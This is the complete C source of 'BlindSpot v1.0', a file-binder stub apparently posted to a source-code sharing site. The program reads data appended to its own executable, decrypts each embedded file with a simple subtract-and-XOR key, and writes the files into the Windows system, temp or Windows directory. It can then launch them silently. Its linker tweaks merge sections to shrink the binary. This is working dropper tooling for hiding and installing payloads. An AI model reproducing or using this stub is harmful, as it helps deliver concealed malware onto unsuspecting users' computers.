|| Author: s134k || Back to sources || View project folder ||
/*
			BlindSpot v1.0
			- Small multiple file binding stub.

			Coded by: s134k
*/

#pragma optimize("gsy", on)
#pragma comment(linker, "/ENTRY:Entry")
#pragma comment(linker, "/FILEALIGN:0x200")
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/SECTION:.text, EWR /IGNORE:4078")

#include <stdlib.h>
#include <windows.h>
#include <shellapi.h>

#define WIN32_LEAN_AND_MEAN
#define STUB_EOF 2048

struct file_data {
	char name[40];
	unsigned long size;
	int key;
	short path;
	short run;
} *pfile_data;

void DecryptRecord(char *szRec, unsigned long nLen, char *szKey)
{
	unsigned long i;
	char *p;

	p = szKey;

	for(i = 0; i < nLen; i++) {
		if(!(*p))
			p = szKey;

		*szRec -= *p;
		*szRec++ ^= *p++;
	}
}

int Entry(void)
{
	HANDLE hStub, hFile;
	DWORD dwBytesRead, dwBytesWritten;
	char szThisFile[_MAX_FNAME], szPath[MAX_PATH], szKey[5], *buf = "";
	struct file_data fd;

	pfile_data = &fd;

	GetModuleFileName(NULL, szThisFile, _MAX_FNAME);

	hStub = CreateFile(szThisFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	SetFilePointer(hStub, STUB_EOF, NULL, FILE_BEGIN);

	while(ReadFile(hStub, pfile_data, sizeof fd, &dwBytesRead, NULL) && dwBytesRead) {
		if(pfile_data->path == 1)
			GetSystemDirectory(szPath, sizeof szPath);
		else if(pfile_data->path == 2)
			GetTempPath(sizeof szPath, szPath);
		else
			GetWindowsDirectory(szPath, sizeof szPath);

		lstrcat(szPath, "\\");
		lstrcat(szPath, pfile_data->name);

		hFile = CreateFile(szPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if(hFile == INVALID_HANDLE_VALUE)
			return 1;

		wsprintf(szKey, "%d", pfile_data->key);

		buf = malloc(pfile_data->size);
		if(!buf)
			return 2;

		ReadFile(hStub, buf, pfile_data->size, &dwBytesRead, NULL);
		DecryptRecord(buf, dwBytesRead, szKey);
		WriteFile(hFile, buf, dwBytesRead, &dwBytesWritten, NULL);
		if(dwBytesWritten != dwBytesRead) {
			free(buf);
			CloseHandle(hStub);
			CloseHandle(hFile);

			return 3;
		}

		CloseHandle(hFile);
		free(buf);

		if(pfile_data->run)
			ShellExecute(NULL, "open", szPath, NULL, NULL, SW_SHOWNORMAL);
	}
	
	CloseHandle(hStub);

	return 0;
}